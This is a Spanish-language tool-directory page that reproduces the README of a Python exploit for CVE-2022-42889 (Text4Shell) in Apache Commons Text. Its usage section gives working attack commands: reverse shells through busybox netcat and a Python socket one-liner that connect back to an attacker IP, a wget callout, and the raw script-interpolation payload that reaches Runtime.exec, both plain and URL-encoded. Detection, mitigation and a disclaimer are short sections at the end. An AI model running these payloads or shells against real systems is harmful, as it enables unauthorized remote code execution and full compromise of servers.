Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2022-42889 | Kitploit
Herramientas/GitHubGitHub/engranaabubakar/cve-2022-42889
Generación de PayloadsAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebAprendizaje y EducaciónHerramienta de Acceso Remoto
GitHubengranaabubakar/cve-2022-42889

CVE-2022-42889

Ver Repositorio
hace 5 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

🚀 Exploit CVE-2022-42889 (Text4Shell)

Python 3 License CVE

Un exploit en Python para CVE-2022-42889 (Text4Shell), una vulnerabilidad crítica de ejecución remota de código en Apache Commons Text versiones anteriores a 1.10.0.

📋 Tabla de Contenidos

  • Descripción
  • Detalles de la Vulnerabilidad
  • Versiones Afectadas
  • Características del Exploit
  • Requisitos
  • Uso
  • Ejemplos
  • Cómo Funciona
  • Detección
  • Mitigación
  • Referencias
  • Descargo de Responsabilidad

📝 Descripción

Este exploit tiene como objetivo CVE-2022-42889 (Text4Shell), una vulnerabilidad en Apache Commons Text que permite la ejecución remota de código (RCE) a través de cadenas de entrada especialmente diseñadas procesadas por el interpolador StringLookup.

La vulnerabilidad es similar en impacto a Log4Shell pero afecta a una biblioteca diferente. Cuando la entrada controlada por el usuario se pasa a métodos vulnerables, un atacante puede ejecutar código arbitrario en el sistema objetivo.

🎯 Detalles de la Vulnerabilidad

  • ID CVE: CVE-2022-42889
  • Puntuación CVSS: 9.8 (Crítica)
  • Vector de Ataque: Red
  • Privilegios Requeridos: Ninguno
  • Interacción del Usuario: Ninguna
  • Impacto: Compromiso completo del sistema

Componente Vulnerable

Apache Commons Text proporciona interpolación de cadenas a través de la interfaz StringLookup. La búsqueda interpolator permite la evaluación de expresiones con varios prefijos, incluyendo:

  • ${script:javascript:...} - Ejecuta código JavaScript (motor Nashorn)
  • ${url:UTF-8:...} - Obtiene URLs (SSRF)
  • ${dns:...} - Consultas DNS

⚠️ Versiones Afectadas

ProductoVersiones AfectadasVersión Parcheada
Apache Commons Text< 1.10.01.10.0
Java< 15 (para RCE)15+ (Nashorn deshabilitado)

Nota: Las versiones de Java ≥ 15 no son vulnerables a RCE a través del prefijo script (Nashorn deshabilitado), pero aún pueden ser vulnerables a SSRF a través de los prefijos url y dns.

✨ Características del Exploit

  • ✅ Ejecución Remota de Código (RCE) mediante interpolación JavaScript
  • ✅ Server-Side Request Forgery (SSRF) mediante interpolación de URL
  • ✅ Codificación URL de las cargas maliciosas
  • ✅ Ejecución de comandos personalizados
  • ✅ Generación de shell inversa con LHOST/LPORT
  • ✅ Manejo de errores y visualización de respuestas

📦 Requisitos

  • Python 3.6+
  • Biblioteca requests

Instalar dependencias:

root@kitploit:~
pip install requests

Uso

root@kitploit:~
python3 text4shell.py -t <IP_OBJETIVO> -p <PUERTO> -c <COMANDO> --lhost <TU_IP> --lport <TU_PUERTO>

Argumentos

💻 Ejemplos

Ejemplo 1: Prueba de Comando Simple

root@kitploit:~
python3 text4shell.py -t 192.168.1.100 -p 8080 -c "touch /tmp/test" --lhost 192.168.1.50 --lport 4444

Ejemplo 2: Shell Inversa con netcat

root@kitploit:~
# Iniciar listener
nc -lvnp 4444

# Ejecutar exploit
python3 text4shell.py -t 192.168.1.100 -p 8080 -c "busybox nc 192.168.1.50 4444 -e bash" --lhost 192.168.1.50 --lport 4444

Ejemplo 3: Shell Inversa con Python

root@kitploit:~
python3 text4shell.py -t 192.168.1.100 -p 8080 -c "python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"192.168.1.50\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'" --lhost 192.168.1.50 --lport 4444

Ejemplo 4: Prueba de SSRF

root@kitploit:~
python3 text4shell.py -t 192.168.1.100 -p 8080 -c "wget http://192.168.1.50:8000/test" --lhost 192.168.1.50 --lport 4444

🔧 Cómo Funciona

  1. Construcción de la Carga: El script crea una cadena maliciosa usando la sintaxis ${script:javascript:...}:
root@kitploit:~
${script:javascript:java.lang.Runtime.getRuntime().exec('COMANDO')}
  1. Codificación URL: Los caracteres especiales se codifican en URL para garantizar una transmisión adecuada:
root@kitploit:~
%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27COMANDO%27%29%7D
  1. Solicitud HTTP: El script envía una solicitud GET a:
root@kitploit:~
http://OBJETIVO:PUERTO/search?query=CARGA_CODIFICADA
  1. Ejecución del Comando: Si es vulnerable, el objetivo evalúa el JavaScript y ejecuta el comando.

🔍 Detección

Compruebe si su sistema es vulnerable:

Prueba Manual:

root@kitploit:~
curl -s "http://objetivo:8080/search?query=\${script:javascript:7*7}"

Si la respuesta contiene 49 en lugar de ${script:javascript:7*7}, el sistema es vulnerable.

Verificación de Versión:

  • Revise los archivos CHANGELOG o README para la versión de Apache Commons Text
  • Busque archivos commons-text-*.jar en la aplicación

🛡️ Mitigación

  • Actualice Apache Commons Text a la versión 1.10.0 o superior:
root@kitploit:~
<dependency>
    <groupId>org.apache.commons</groupId>
    <artifactId>commons-text</artifactId>
    <version>1.10.0</version>
</dependency>
  • Actualice a Java 15+ (deshabilita el motor JavaScript Nashorn)
  • Validación de Entrada: Implemente una validación estricta de la entrada del usuario
  • Deshabilitar Interpolación: Si no es necesario, evite usar StringSubstitutor.createInterpolator()
  • Firewall de Aplicaciones Web (WAF): Bloquee solicitudes que contengan patrones ${script:javascript:}

📚 Referencias

  • NVD - CVE-2022-42889
  • Apache Commons Text Security
  • Tarlogic - Análisis de Text4Shell
  • Alerta de CISA

⚠️ Descargo de Responsabilidad

Este exploit es solo para fines educativos y pruebas de seguridad autorizadas. El uso no autorizado de este exploit contra sistemas que no posea o para los que no tenga permiso explícito para probar es ilegal. Los autores no son responsables de ningún uso indebido o daño causado por esta herramienta.

📄 Licencia

Este proyecto está licenciado bajo la Licencia MIT - consulte el archivo LICENSE para más detalles.

🤝 Contribuciones

¡Las contribuciones, problemas y solicitudes de funciones son bienvenidos! Siéntase libre de consultar la página de issues.

Happy Hacking! 🚀

Descargar herramienta
ArgumentoDescripciónRequerido
-t, --targetDirección IP del objetivo✅ Sí
-p, --portPuerto del objetivo (por defecto: 8080)❌ No
-c, --commandComando a ejecutar✅ Sí
--lhostTu IP para shell inversa✅ Sí
--lportTu puerto para shell inversa✅ Sí